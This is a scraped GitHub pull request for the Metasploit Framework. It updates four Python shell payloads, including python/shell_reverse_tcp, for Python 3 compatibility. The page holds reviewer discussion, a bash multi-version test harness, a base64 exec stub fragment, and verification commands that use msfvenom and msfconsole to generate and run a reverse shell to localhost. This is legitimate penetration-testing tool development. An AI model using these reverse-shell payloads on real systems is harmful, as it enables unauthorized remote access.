New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
fix #14207, fix python/shell_reverse_tcp on python3 #14325
Conversation
I think this is ready, python 2.4.6 works fine. Exit/Ctrl-D did not work previously but I can fix it separately if needed. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was able to test the two reverse TCP ones and I included their results. For all of these, would you mind updating the payload information to include the new versions that they work on? For example shell_reverse_tcp
is 2.4-2.7 and 3.4+ while shell_reverse_tcp_ssl
is 2.6-2.7 and 3.4+.
The Bind TCP stager looks like it needs another os.popen3
reference to be updated for 3.x compatibility and I don't know what's up with the Reverse UDP stager but I couldn't get it to establish a session.
Would you also be able to please update the cached payload sizes so the unit tests pass?
If it's helpful, this is the test harness I use:
Test Harness
#!/usr/bin/env bash
set -e
delay=0
timeout=10
params=()
show_help () {
echo "usage: $(basename $0) [-h] args"
echo ""
echo "positional arguments:"
echo " args the arguments to pass to Python"
echo ""
echo "optional arguments:"
echo " -d, --delay the amount of time in seconds to wait between tests (default: $delay)"
echo " -t, --timeout the amount of time in seconds to wait for Python to exit (default: $timeout)"
}
while (( "$#" )); do
case "$1" in
-h|--help)
show_help
exit 0
;;
-d|--delay)
if [ -n "$2" ] && [ ${2:0:1} != "-" ]; then
if ! [[ "$2" =~ ^[0-9]+$ ]] ; then
echo "Error: Argument for $1 must be a number ($2)" >&2
exit 1
fi
delay=$2
shift 2
else
echo "Error: Argument for $1 is missing" >&2
exit 1
fi
;;
-t|--timeout)
if [ -n "$2" ] && [ ${2:0:1} != "-" ]; then
if ! [[ "$2" =~ ^[0-9]+$ ]] ; then
echo "Error: Argument for $1 must be a number ($2)" >&2
exit 1
fi
timeout=$2
shift 2
else
echo "Error: Argument for $1 is missing" >&2
exit 1
fi
;;
--) # end argument parsing
shift
break
;;
-*|--*=) # unsupported flags
printf "\e[1;31m[-]\e[0m Unsupported flag $1\n" >&2
exit 1
;;
*) # preserve positional arguments
params+=("$1")
shift
;;
esac
done
params+=("$@")
if ! type "pyenv" &> /dev/null; then
printf "\e[1;31m[-]\e[0m Error: pyenv was not found\n"
exit 1
fi
eval "$(pyenv init -)"
set +e
for version in $(ls $PYENV_ROOT/versions); do
printf "\e[1;34m[*]\e[0m [%-7s] Running...\n" "$version"
pyenv shell $version
timeout $timeout python "${params[@]}" &> /dev/null
retval=$?
if [ $retval -ne 0 ]; then
printf "\e[1;31m[-]\e[0m [%-7s] Status: \e[1;5;31mFAILED WITH STATUS $retval\e[0m\n" "$version"
else
printf "\e[1;32m[+]\e[0m [%-7s] Status: \e[1;32mSUCCESSFUL\e[0m\n" "$version"
fi
if [ $delay -ne 0 ]; then
sleep $delay
fi
done
# base64 | ||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" | ||
cmd | ||
py_create_exec_stub(cmd) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
2.7 works, however I'm getting an error due to os.popen3
not being available on Python3. Looks like that will need to be updated too.
Also I want to explicitly call out that this breaks compatibility with Python 2.3 for |
Thanks for testing @smcintyre-r7 ! I also wonder if it's worth trying to add support for these versions with some kind of runtime version check. It may increase the payload size a lot. I'm not sure if that's something we care about. If that's a concern we could expose it as an option but I'm not sure what the default would be. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great to see these updated for compatibility! To help mitigate the size increase from the more verbose subprocess
API, we can take this opportunity to golf the modules a bit with import aliases.
Co-authored-by: acammack-r7 <adam_cammack@rapid7.com>
I think msftidy needs updating here to handle mixed tabs and spaces in heredocs :( |
This should be ready now. The python/shell_reverse_udp payload should work now (I've no idea how it was working before) and I think we support the maximum number of python versions in a sensible way. |
Tested all 4 payloads on Linux with Python versions 2.3 - 3.8 and everything looks good. I am ready to land this, the only outstanding issue seems to be the unit tests. I pushed up 6bdc7a1 which updates the descriptions, most importantly with the correct version info for the UDP payload. Once I figure out the issue with the unit tests I'll get this landed. Assuming the unit tests are some kinda issue with the size, I'll handle that so you don't need to worry about it. Thanks alot @timwr ! |
The feedback was implemented by timwr and tested by smcintyre-r7.
Release NotesUpdated the four Python shell payloads to be compatible with Python version 3.4+ while retaining compatibility with 2.6+. |
Fix #14207
It seems like the python/shell_reverse_tcp doesn't work with python3 (Python 3.8.5)
Verification
List the steps needed to make sure this thing works
./msfconsole -qx "use exploit/multi/handler; set payload python/shell_reverse_tcp; set LHOST 127.0.0.1; set LPORT 4444; run"
./msfvenom -p python/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.py && python3 out.py
Marking this is a draft because I still need to test python2 and ensure the 'exit' command still exits the shell.